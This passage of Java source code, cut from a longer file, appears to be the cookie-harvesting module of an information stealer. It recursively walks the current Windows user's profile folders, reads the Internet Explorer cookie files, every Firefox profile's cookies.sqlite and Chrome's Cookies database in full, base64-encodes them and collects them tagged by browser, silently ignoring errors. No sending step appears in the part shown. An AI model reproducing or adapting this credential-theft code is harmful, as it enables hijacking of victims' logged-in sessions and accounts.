@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
if (attrs.isRegularFile()) {
byte[] content = Files.readAllBytes(file);
data.add(new ClientInformation(InformationSource.IE_COOKIES, DatatypeConverter.printBase64Binary(content)));
}
return FileVisitResult.CONTINUE;
}
@Override
public FileVisitResult visitFileFailed(Path file, IOException e) {
// Ignore error
return FileVisitResult.CONTINUE;
}
});
/* Grab Firefox cookies (SQLLite DB file) */
// Determine location
if (this.isAboveXPVersionCache) {
// Vista and above
path = "C:\\Users\\%s\\AppData\\Local\\Mozilla\\Firefox\\Profiles";
} else {
// XP and below
path = "C:\\Documents and Settings\\%s\\Application Data\\Mozilla\\Firefox\\Profiles";
}
// Parse recursively storage location (get cookies for all profiles)
Files.walkFileTree(Paths.get(String.format(path, System.getenv("USERNAME"))), new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult preVisitDirectory(Path dir, BasicFileAttributes attrs) {
return FileVisitResult.CONTINUE;
}
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
if ("cookies.sqlite".equalsIgnoreCase(file.getFileName().toString())) {
byte[] content = Files.readAllBytes(file);
data.add(new ClientInformation(InformationSource.FIREFOX_COOKIES, DatatypeConverter.printBase64Binary(content)));
}
return FileVisitResult.CONTINUE;
}
@Override
public FileVisitResult visitFileFailed(Path file, IOException e) {
// Ignore error
return FileVisitResult.CONTINUE;
}
});
/* Grab Chrome cookies (SQLLite DB file) */
// Determine location
if (this.isAboveXPVersionCache) {
// Vista and above
path = "C:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default";
} else {
// XP and below
path = "C:\\Documents and Settings\\%s\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default";
}
// Parse recursively storage location
Files.walkFileTree(Paths.get(String.format(path, System.getenv("USERNAME"))), new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult preVisitDirectory(Path dir, BasicFileAttributes attrs) {
return FileVisitResult.CONTINUE;
}
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
if ("Cookies".equalsIgnoreCase(file.getFileName().toString())) {
byte[] content = Files.readAllBytes(file);
data.add(new ClientInformation(InformationSource.CHROME_COOKIES, DatatypeConverter.printBase64Binary(content)));
return FileVisitResult.TERMINATE;
}
return FileVisitResult.CONTINUE;
}